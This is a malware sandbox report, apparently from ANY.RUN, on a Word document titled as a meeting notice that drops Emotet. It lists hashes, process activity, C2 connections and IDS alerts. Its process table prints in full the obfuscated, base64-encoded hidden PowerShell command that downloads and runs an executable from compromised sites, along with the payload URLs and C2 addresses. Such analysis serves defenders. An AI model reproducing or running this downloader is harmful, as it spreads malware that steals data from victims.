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| File name: | 会議開催通知.doc |
| Full analysis: | https://app.any.run/tasks/6bddaa1d-0a90-4608-bd9c-bc10e57a29e8 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 18, 2020, 04:34:15 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Deleniti., Author: Louna Morin, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Jan 16 19:53:00 2020, Last Saved Time/Date: Thu Jan 16 19:53:00 2020, Number of Pages: 2, Number of Words: 5, Number of Characters: 30, Security: 0 |
| MD5: | AE5FA3092ACC9FA8CD0BD75A30C00799 |
| SHA1: | 0626E531AA4C3B036F75E022D4AFADAA3FC38030 |
| SHA256: | E54979318C06A7CC3D8FB5F00D32D0FA2A169F8447A224EC8822749071C550F6 |
| SSDEEP: | 6144:G0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+1WbJjA7hbA+QM:G0E3dxtR/iU9mvUP1WKhbA+j |
MALICIOUS
Application was dropped or rewritten from another process
- 108.exe (PID: 1816)
- 108.exe (PID: 272)
- serialfunc.exe (PID: 2388)
- serialfunc.exe (PID: 2620)
- serialfunc.exe (PID: 3448)
- serialfunc.exe (PID: 2796)
- serialfunc.exe (PID: 3124)
Downloads executable files from the Internet
- Powershell.exe (PID: 324)
Emotet process was detected
- 108.exe (PID: 272)
EMOTET was detected
- serialfunc.exe (PID: 2620)
Changes the autorun value in the registry
- serialfunc.exe (PID: 2620)
Connects to CnC server
- serialfunc.exe (PID: 2620)
Actions looks like stealing of personal data
- serialfunc.exe (PID: 2796)
SUSPICIOUS
PowerShell script executed
- Powershell.exe (PID: 324)
Executable content was dropped or overwritten
- Powershell.exe (PID: 324)
- 108.exe (PID: 272)
Creates files in the user directory
- Powershell.exe (PID: 324)
Executed via WMI
- Powershell.exe (PID: 324)
Application launched itself
- serialfunc.exe (PID: 2388)
- serialfunc.exe (PID: 2620)
Starts itself from another location
- 108.exe (PID: 272)
Connects to server without host name
- serialfunc.exe (PID: 2620)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2236)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2236)
- serialfunc.exe (PID: 3124)
- serialfunc.exe (PID: 3448)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| CompObjUserType: | Microsoft Forms 2.0 Form |
|---|---|
| CompObjUserTypeLen: | 25 |
| HeadingPairs: |
|
| TitleOfParts: | - |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| CharCountWithSpaces: | 34 |
| Paragraphs: | 1 |
| Lines: | 1 |
| Company: | - |
| CodePage: | Windows Latin 1 (Western European) |
| Security: | None |
| Characters: | 30 |
| Words: | 5 |
| Pages: | 2 |
| ModifyDate: | 2020:01:16 19:53:00 |
| CreateDate: | 2020:01:16 19:53:00 |
| TotalEditTime: | - |
| Software: | Microsoft Office Word |
| RevisionNumber: | 1 |
| LastModifiedBy: | - |
| Template: | Normal.dotm |
| Comments: | - |
| Keywords: | - |
| Author: | Louna Morin |
| Subject: | - |
| Title: | Deleniti. |
Total processes
44
Monitored processes
9
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2236 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\会議開催通知.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 324 | Powershell -w hidden -en JABCAHIAdwBuAGIAbABuAHUAcwBuAHkAbwB6AD0AJwBPAGMAdwByAG8AcQBrAHYAbgBhAGQAcgB0ACcAOwAkAEIAbABjAGMAcAB2AGYAZQAgAD0AIAAnADEAMAA4ACcAOwAkAE0AZgBmAHEAcgB5AGoAbAByAGYAYQA9ACcAQwBuAG0AegBlAGIAcwBqAG0AawBqAHIAdwAnADsAJABEAGYAcwBqAHUAdwBtAGQAdAB2AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEIAbABjAGMAcAB2AGYAZQArACcALgBlAHgAZQAnADsAJABYAHUAdABzAHQAeQBtAGkAdQBtAGgAPQAnAEsAegBpAHAAbAB6AGsAbgByAHIAcABiACcAOwAkAFoAdQBuAHoAZgBsAGUAdwBrAHAAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAGIAQwBMAGkARQBOAHQAOwAkAEsAbgBuAGcAcABzAGUAdwBpAD0AJwBoAHQAdABwADoALwAvAGIAaQB6AHQAcgBlAGUAbQBnAG0AdAAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALwA1AGcAdgBoADIAYgB2AHgAagBrAC0AYQBkAHkAbAA0AGQALQA1ADEAMAA1ADUALwAqAGgAdAB0AHAAOgAvAC8AYQBkAGEAbQBwAGUAdAB0AHkAYwByAGUAYQB0AGkAdgBlAC4AYwBvAG0ALwB4ADkAMgBrADIANQAvAFMAdABQAEgAaABVAHIALwAqAGgAdAB0AHAAOgAvAC8AcgBvAHMAZQBwAGUAcgBmAGUAaQB0AG8ALgBjAG8AbQAuAGIAcgAvAGwAbwBhAGQAaQBuAGcALwBpAG0AZQAwAGEAMwAtADUAZwBhAC0AMgA4ADcAMAA3ADIANgA1ADUAMwAvACoAaAB0AHQAcAA6AC8ALwBuAGcAdQBvAGkAZABlAHAAeAB1AG0AdQBvAG4AZwAuAHYAbgAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AUABCAHMARQBUAEoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAHUAaQBsAGQAaQB0AGUAeABwAHIAZQBzAHMALgBjAG8ALgB1AGsALwBlAHgAYwBsAHUAcwBpAHYAZQAvAGcAdgBEAEsAVABWAC8AJwAuACIAUwBgAFAAbABJAHQAIgAoACcAKgAnACkAOwAkAFoAdgB2AHoAdQBvAHcAbwB4AD0AJwBFAHcAcABlAHMAbQB4AGsAegAnADsAZgBvAHIAZQBhAGMAaAAoACQASQB1AGgAbABjAGUAbwBiAHAAdQB3AHMAdQAgAGkAbgAgACQASwBuAG4AZwBwAHMAZQB3AGkAKQB7AHQAcgB5AHsAJABaAHUAbgB6AGYAbABlAHcAawBwAC4AIgBkAE8AdwBOAGwAYABvAGAAQQBkAEYAaQBsAEUAIgAoACQASQB1AGgAbABjAGUAbwBiAHAAdQB3AHMAdQAsACAAJABEAGYAcwBqAHUAdwBtAGQAdAB2AHIAKQA7ACQAQwB0AGYAeAB5AHoAZwBjAGUAcQBuAD0AJwBOAHkAbQBtAGIAdwB3AGIAdwBpAGcAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABEAGYAcwBqAHUAdwBtAGQAdAB2AHIAKQAuACIATABFAE4AYABHAFQAaAAiACAALQBnAGUAIAAyADEAOQA0ADAAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGEAYABSAHQAIgAoACQARABmAHMAagB1AHcAbQBkAHQAdgByACkAOwAkAFkAZQBzAHEAZwBnAGwAdABiAHUAPQAnAFcAaAB1AGgAcQByAGQAYwBxAHUAYQAnADsAYgByAGUAYQBrADsAJABEAGMAbABmAGwAeQB1AGQAcQBpAD0AJwBBAGgAbgBiAHUAdwBzAG8AbAB6ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AcgBwAHoAcgBzAGUAZQBoAD0AJwBFAGEAbgBxAHYAZABtAGYAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 1816 | "C:\Users\admin\108.exe" | C:\Users\admin\108.exe | — | Powershell.exe |
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 | ||||
| 272 | --9ef7d637 | C:\Users\admin\108.exe | 108.exe | |
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 | ||||
| 2388 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 108.exe |
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 | ||||
| 2620 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | |
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Version: 1, 0, 0, 76 | ||||
| 3124 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\974A.tmp" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | serialfunc.exe |
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 | ||||
| 2796 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" /scomma "C:\Users\admin\AppData\Local\Temp\9749.tmp" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | |
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 | ||||
| 3448 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\975A.tmp" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | serialfunc.exe |
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 | ||||
Total events
2 448
Read events
1 560
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
0
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRE07C.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF1CA88E4521723689.TMP | — | |
MD5:— | SHA256:— | |||
| 2236 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF1B137F08E95C30E7.TMP | — | |
MD5:— | SHA256:— | |||
| 324 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KU5WFM4153KBFF5ZKD1C.temp | — | |
MD5:— | SHA256:— | |||
| 3124 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 3124 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 3448 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\[email protected] | — | |
MD5:— | SHA256:— | |||
| 3124 | serialfunc.exe | C:\Users\admin\AppData\Local\Temp\974A.tmp | — | |
MD5:— | SHA256:— | |||
| 2796 | serialfunc.exe | C:\Users\admin\AppData\Local\Temp\9749.tmp | — | |
MD5:— | SHA256:— | |||
| 2236 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:F5743C90D1A676FAE81742B0CF2FDF3F | SHA256:F4E39BE12C32DD01520D4D30C3D5B834E87CD3F96667AA40FA6B99FA66DDB625 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
6
DNS requests
3
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
324 | Powershell.exe | GET | 301 | 203.175.174.69:80 | http://biztreemgmt.com/wordpress/5gvh2bvxjk-adyl4d-51055/ | SG | — | — | suspicious |
324 | Powershell.exe | GET | 404 | 203.175.174.69:80 | http://www.biztreemgmt.com/wordpress/5gvh2bvxjk-adyl4d-51055/ | SG | html | 10.5 Kb | suspicious |
324 | Powershell.exe | GET | 200 | 160.153.138.71:80 | http://adampettycreative.com/x92k25/StPHhUr/ | US | executable | 344 Kb | malicious |
2620 | serialfunc.exe | POST | — | 98.192.74.164:80 | http://98.192.74.164/V5nnTJGqXe0hga0o6 | US | — | — | malicious |
2620 | serialfunc.exe | POST | 200 | 59.135.126.129:443 | http://59.135.126.129:443/frkBlpbhm7vbV | JP | binary | 148 b | malicious |
2620 | serialfunc.exe | POST | 200 | 51.77.113.102:80 | http://51.77.113.102/window/site/ | GB | binary | 148 b | malicious |
2620 | serialfunc.exe | POST | 200 | 59.135.126.129:443 | http://59.135.126.129:443/By7O5dytJktMHcbrS | JP | binary | 511 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
324 | Powershell.exe | 203.175.174.69:80 | biztreemgmt.com | SG.GS | SG | suspicious |
2620 | serialfunc.exe | 59.135.126.129:443 | — | KDDI CORPORATION | JP | malicious |
2620 | serialfunc.exe | 98.192.74.164:80 | — | Comcast Cable Communications, LLC | US | malicious |
324 | Powershell.exe | 160.153.138.71:80 | adampettycreative.com | GoDaddy.com, LLC | US | malicious |
2620 | serialfunc.exe | 51.77.113.102:80 | — | — | GB | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
biztreemgmt.com |
| suspicious |
www.biztreemgmt.com |
| unknown |
adampettycreative.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
324 | Powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
324 | Powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
324 | Powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2620 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2620 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
2620 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2620 | serialfunc.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
2620 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
2620 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
2620 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |